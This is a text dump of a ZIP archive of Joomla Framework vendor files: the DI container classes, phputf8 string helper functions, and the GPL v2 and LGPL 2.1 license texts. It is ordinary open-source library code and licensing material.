TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\����,vendor/joomla/di/src/ContainerAwareTrait.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI; /** * Defines the trait for a Container Aware Class. * * @since 1.2 * @note Traits are available in PHP 5.4+ */ trait ContainerAwareTrait { /** * DI Container * * @var Container * @since 1.2 */ private $container; /** * Get the DI container. * * @return Container * * @since 1.2 * @throws \UnexpectedValueException May be thrown if the container has not been set. * @note As of 2.0 this method will be protected. */ public function getContainer() { if ($this->container) { return $this->container; } throw new \UnexpectedValueException('Container not set in ' . __CLASS__); } /** * Set the DI container. * * @param Container $container The DI container. * * @return mixed Returns itself to support chaining. * * @since 1.2 */ public function setContainer(Container $container) { $this->container = $container; return $this; } } PKÜ�\֬gsp5p5"vendor/joomla/di/src/Container.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI; use Joomla\DI\Exception\DependencyResolutionException; use Joomla\DI\Exception\KeyNotFoundException; use Joomla\DI\Exception\ProtectedKeyException; use Psr\Container\ContainerInterface; /** * The Container class. * * @since 1.0 */ class Container implements ContainerInterface { /** * Holds the key aliases. * * @var array * @since 1.0 */ protected $aliases = array(); /** * Holds the shared instances. * * @var array * @since 1.0 */ protected $instances = array(); /** * Holds the keys, their callbacks, and whether or not * the item is meant to be a shared resource. * * @var array * @since 1.0 */ protected $dataStore = array(); /** * Parent for hierarchical containers. * * @var Container|ContainerInterface * @since 1.0 */ protected $parent; /** * Holds the service tag mapping. * * @var array * @since 1.5.0 */ protected $tags = array(); /** * Constructor for the DI Container * * @param ContainerInterface $parent Parent for hierarchical containers. * * @since 1.0 */ public function __construct(ContainerInterface $parent = null) { $this->parent = $parent; } /** * Create an alias for a given key for easy access. * * @param string $alias The alias name * @param string $key The key to alias * * @return Container This object for chaining. * * @since 1.0 */ public function alias($alias, $key) { $this->aliases[$alias] = $key; return $this; } /** * Search the aliases property for a matching alias key. * * @param string $key The key to search for. * * @return string * * @since 1.0 */ protected function resolveAlias($key) { if (isset($this->aliases[$key])) { return $this->aliases[$key]; } if ($this->parent instanceof Container) { return $this->parent->resolveAlias($key); } return $key; } /** * Assign a tag to services. * * @param string $tag The tag name * @param array $keys The service keys to tag * * @return Container This object for chaining. * * @since 1.5.0 */ public function tag($tag, array $keys) { foreach ($keys as $key) { $resolvedKey = $this->resolveAlias($key); if (!isset($this->tags[$tag])) { $this->tags[$tag] = array(); } $this->tags[$tag][] = $resolvedKey; } // Prune duplicates $this->tags[$tag] = array_unique($this->tags[$tag]); return $this; } /** * Fetch all services registered to the given tag. * * @param string $tag The tag name * * @return array The resolved services for the given tag * * @since 1.5.0 */ public function getTagged($tag) { $services = array(); if (isset($this->tags[$tag])) { foreach ($this->tags[$tag] as $service) { $services[] = $this->get($service); } } return $services; } /** * Build an object of class $key; * * @param string $key The class name to build. * @param boolean $shared True to create a shared resource. * * @return object|false Instance of class specified by $key with all dependencies injected. * Returns an object if the class exists and false otherwise * * @since 1.0 */ public function buildObject($key, $shared = false) { static $buildStack = array(); $resolvedKey = $this->resolveAlias($key); if (in_array($resolvedKey, $buildStack, true)) { $buildStack = array(); throw new DependencyResolutionException("Can't resolve circular dependency"); } $buildStack[] = $resolvedKey; if ($this->has($resolvedKey)) { $resource = $this->get($resolvedKey); array_pop($buildStack); return $resource; } try { $reflection = new \ReflectionClass($resolvedKey); } catch (\ReflectionException $e) { array_pop($buildStack); return false; } if (!$reflection->isInstantiable()) { $buildStack = array(); throw new DependencyResolutionException("$resolvedKey can not be instantiated."); } $constructor = $reflection->getConstructor(); // If there are no parameters, just return a new object. if ($constructor === null) { $callback = function () use ($resolvedKey) { return new $resolvedKey; }; } else { $newInstanceArgs = $this->getMethodArgs($constructor); // Create a callable for the dataStore $callback = function () use ($reflection, $newInstanceArgs) { return $reflection->newInstanceArgs($newInstanceArgs); }; } $this->set($resolvedKey, $callback, $shared); $resource = $this->get($resolvedKey); array_pop($buildStack); return $resource; } /** * Convenience method for building a shared object. * * @param string $key The class name to build. * * @return object|false Instance of class specified by $key with all dependencies injected. * Returns an object if the class exists and false otherwise * * @since 1.0 */ public function buildSharedObject($key) { return $this->buildObject($key, true); } /** * Create a child Container with a new property scope that * that has the ability to access the parent scope when resolving. * * @return Container This object for chaining. * * @since 1.0 */ public function createChild() { return new static($this); } /** * Extend a defined service Closure by wrapping the existing one with a new Closure. This * works very similar to a decorator pattern. Note that this only works on service Closures * that have been defined in the current Provider, not parent providers. * * @param string $key The unique identifier for the Closure or property. * @param \Closure $callable A Closure to wrap the original service Closure. * * @return void * * @since 1.0 * @throws KeyNotFoundException */ public function extend($key, \Closure $callable) { $key = $this->resolveAlias($key); $raw = $this->getRaw($key); if ($raw === null) { throw new KeyNotFoundException(sprintf('The requested key %s does not exist to extend.', $key)); } $closure = function ($c) use ($callable, $raw) { return $callable($raw['callback']($c), $c); }; $this->set($key, $closure, $raw['shared']); } /** * Build an array of constructor parameters. * * @param \ReflectionMethod $method Method for which to build the argument array. * * @return array Array of arguments to pass to the method. * * @since 1.0 * @throws DependencyResolutionException */ protected function getMethodArgs(\ReflectionMethod $method) { $methodArgs = array(); foreach ($method->getParameters() as $param) { $dependency = $param->getClass(); $dependencyVarName = $param->getName(); // If we have a dependency, that means it has been type-hinted. if ($dependency !== null) { $dependencyClassName = $dependency->getName(); // If the dependency class name is registered with this container or a parent, use it. if ($this->getRaw($dependencyClassName) !== null) { $depObject = $this->get($dependencyClassName); } else { $depObject = $this->buildObject($dependencyClassName); } if ($depObject instanceof $dependencyClassName) { $methodArgs[] = $depObject; continue; } } // Finally, if there is a default parameter, use it. if ($param->isOptional()) { $methodArgs[] = $param->getDefaultValue(); continue; } // Couldn't resolve dependency, and no default was provided. throw new DependencyResolutionException(sprintf('Could not resolve dependency: %s', $dependencyVarName)); } return $methodArgs; } /** * Method to set the key and callback to the dataStore array. * * @param string $key Name of dataStore key to set. * @param mixed $value Callable function to run or string to retrive when requesting the specified $key. * @param boolean $shared True to create and store a shared instance. * @param boolean $protected True to protect this item from being overwritten. Useful for services. * * @return Container This object for chaining. * * @since 1.0 * @throws ProtectedKeyException Thrown if the provided key is already set and is protected. */ public function set($key, $value, $shared = false, $protected = false) { if (isset($this->dataStore[$key]) && $this->dataStore[$key]['protected'] === true) { throw new ProtectedKeyException(sprintf("Key %s is protected and can't be overwritten.", $key)); } // If the provided $value is not a closure, make it one now for easy resolution. if (!is_callable($value)) { $value = function () use ($value) { return $value; }; } $this->dataStore[$key] = array( 'callback' => $value, 'shared' => $shared, 'protected' => $protected ); return $this; } /** * Convenience method for creating protected keys. * * @param string $key Name of dataStore key to set. * @param mixed $value Callable function to run or string to retrive when requesting the specified $key. * @param boolean $shared True to create and store a shared instance. * * @return Container This object for chaining. * * @since 1.0 */ public function protect($key, $value, $shared = false) { return $this->set($key, $value, $shared, true); } /** * Convenience method for creating shared keys. * * @param string $key Name of dataStore key to set. * @param mixed $value Callable function to run or string to retrive when requesting the specified $key. * @param boolean $protected True to protect this item from being overwritten. Useful for services. * * @return Container This object for chaining. * * @since 1.0 */ public function share($key, $value, $protected = false) { return $this->set($key, $value, true, $protected); } /** * Method to retrieve the results of running the $callback for the specified $key; * * @param string $key Name of the dataStore key to get. * @param boolean $forceNew True to force creation and return of a new instance. * * @return mixed Results of running the $callback for the specified $key. * * @since 1.0 * @throws KeyNotFoundException */ public function get($key, $forceNew = false) { $key = $this->resolveAlias($key); $raw = $this->getRaw($key); if ($raw === null) { throw new KeyNotFoundException(sprintf('Key %s has not been registered with the container.', $key)); } if ($raw['shared']) { if ($forceNew || !isset($this->instances[$key])) { $this->instances[$key] = $raw['callback']($this); } return $this->instances[$key]; } return call_user_func($raw['callback'], $this); } /** * Method to check if specified dataStore key exists. * * @param string $key Name of the dataStore key to check. * * @return boolean True for success * * @since 1.5.0 */ public function has($key) { $key = $this->resolveAlias($key); $exists = (bool) $this->getRaw($key); if ($exists === false && $this->parent instanceof ContainerInterface) { $exists = $this->parent->has($key); } return $exists; } /** * Method to check if specified dataStore key exists. * * @param string $key Name of the dataStore key to check. * * @return boolean True for success * * @since 1.0 * @deprecated 3.0 Use ContainerInterface::has() instead */ public function exists($key) { return $this->has($key); } /** * Get the raw data assigned to a key. * * @param string $key The key for which to get the stored item. * * @return mixed * * @since 1.0 */ protected function getRaw($key) { if (isset($this->dataStore[$key])) { return $this->dataStore[$key]; } $aliasKey = $this->resolveAlias($key); if ($aliasKey !== $key && isset($this->dataStore[$aliasKey])) { return $this->dataStore[$aliasKey]; } if ($this->parent instanceof Container) { return $this->parent->getRaw($key); } if ($this->parent instanceof ContainerInterface && $this->parent->has($key)) { $callback = $this->parent->get($key); if (!is_callable($callback)) { $callback = function () use ($callback) { return $callback; }; } return array( 'callback' => $callback, 'shared' => true, 'protected' => true, ); } return null; } /** * Method to force the container to return a new instance * of the results of the callback for requested $key. * * @param string $key Name of the dataStore key to get. * * @return mixed Results of running the $callback for the specified $key. * * @since 1.0 */ public function getNewInstance($key) { return $this->get($key, true); } /** * Register a service provider to the container. * * @param ServiceProviderInterface $provider The service provider to register. * * @return Container This object for chaining. * * @since 1.0 */ public function registerServiceProvider(ServiceProviderInterface $provider) { $provider->register($this); return $this; } /** * Retrieve the keys for services assigned to this container. * * @return array * * @since 1.5.0 */ public function getKeys() { return array_unique(array_merge(array_keys($this->aliases), array_keys($this->dataStore))); } } PKÜ�\�BB0vendor/joomla/di/src/ContainerAwareInterface.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI; /** * Defines the interface for a Container Aware class. * * @since 1.0 */ interface ContainerAwareInterface { /** * Get the DI container. * * @return Container * * @since 1.0 * @throws \UnexpectedValueException May be thrown if the container has not been set. * @deprecated 2.0 The getter will no longer be part of the interface. */ public function getContainer(); /** * Set the DI container. * * @param Container $container The DI container. * * @return mixed * * @since 1.0 */ public function setContainer(Container $container); } PKÜ�\y�q��@vendor/joomla/di/src/Exception/DependencyResolutionException.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI\Exception; use Psr\Container\ContainerExceptionInterface; /** * Exception class for handling errors in resolving a dependency * * @since 1.0 */ class DependencyResolutionException extends \RuntimeException implements ContainerExceptionInterface { } PKÜ�\��$��7vendor/joomla/di/src/Exception/KeyNotFoundException.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI\Exception; use Psr\Container\NotFoundExceptionInterface; /** * No entry was found in the container. * * @since 1.5.0 */ class KeyNotFoundException extends \InvalidArgumentException implements NotFoundExceptionInterface { } PKÜ�\�����8vendor/joomla/di/src/Exception/ProtectedKeyException.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI\Exception; use Psr\Container\ContainerExceptionInterface; /** * Attempt to set the value of a protected key, which already is set * * @since 1.5.0 */ class ProtectedKeyException extends \OutOfBoundsException implements ContainerExceptionInterface { } PKÜ�\�td�??1vendor/joomla/di/src/ServiceProviderInterface.phpnu�[���<?php /** * Part of the Joomla Framework DI Package * * @copyright Copyright (C) 2013 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\DI; /** * Defines the interface for a Service Provider. * * @since 1.0 */ interface ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 1.0 */ public function register(Container $container); } PKÜ�\�P�E�Evendor/joomla/di/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\-t),��#vendor/joomla/string/src/String.phpnu�[���<?php /** * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\String; /** * String handling class for utf-8 data * Wraps the phputf8 library * All functions assume the validity of utf-8 strings. * * @since 1.0 * @deprecated 2.0 Use StringHelper instead */ abstract class String extends StringHelper { } PKÜ�\�uww,vendor/joomla/string/src/phputf8/str_pad.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * Replacement for str_pad. $padStr may contain multi-byte characters. * * @author Oliver Saunders <oliver (a) osinternetservices.com> * @param string $input * @param int $length * @param string $padStr * @param int $type ( same constants as str_pad ) * @return string * @see http://www.php.net/str_pad * @see utf8_substr * @package utf8 */ function utf8_str_pad($input, $length, $padStr = ' ', $type = STR_PAD_RIGHT) { $inputLen = utf8_strlen($input); if ($length <= $inputLen) { return $input; } $padStrLen = utf8_strlen($padStr); $padLen = $length - $inputLen; if ($type == STR_PAD_RIGHT) { $repeatTimes = ceil($padLen / $padStrLen); return utf8_substr($input . str_repeat($padStr, $repeatTimes), 0, $length); } if ($type == STR_PAD_LEFT) { $repeatTimes = ceil($padLen / $padStrLen); return utf8_substr(str_repeat($padStr, $repeatTimes), 0, floor($padLen)) . $input; } if ($type == STR_PAD_BOTH) { $padLen/= 2; $padAmountLeft = floor($padLen); $padAmountRight = ceil($padLen); $repeatTimesLeft = ceil($padAmountLeft / $padStrLen); $repeatTimesRight = ceil($padAmountRight / $padStrLen); $paddingLeft = utf8_substr(str_repeat($padStr, $repeatTimesLeft), 0, $padAmountLeft); $paddingRight = utf8_substr(str_repeat($padStr, $repeatTimesRight), 0, $padAmountLeft); return $paddingLeft . $input . $paddingRight; } trigger_error('utf8_str_pad: Unknown padding type (' . $type . ')',E_USER_ERROR); } PKÜ�\��)-BB,vendor/joomla/string/src/phputf8/strcspn.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to strcspn * Find length of initial segment not matching mask * Note: requires utf8_strlen and utf8_substr (if start, length are used) * @param string * @return int * @see http://www.php.net/strcspn * @see utf8_strlen * @package utf8 */ function utf8_strcspn($str, $mask, $start = NULL, $length = NULL) { if ( empty($mask) || strlen($mask) == 0 ) { return NULL; } $mask = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask); if ( $start !== NULL || $length !== NULL ) { $str = utf8_substr($str, $start, $length); } preg_match('/^[^'.$mask.']+/u',$str, $matches); if ( isset($matches[0]) ) { return utf8_strlen($matches[0]); } return 0; } PKÜ�\�7�k>g>g(vendor/joomla/string/src/phputf8/LICENSEnu�[��� GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after 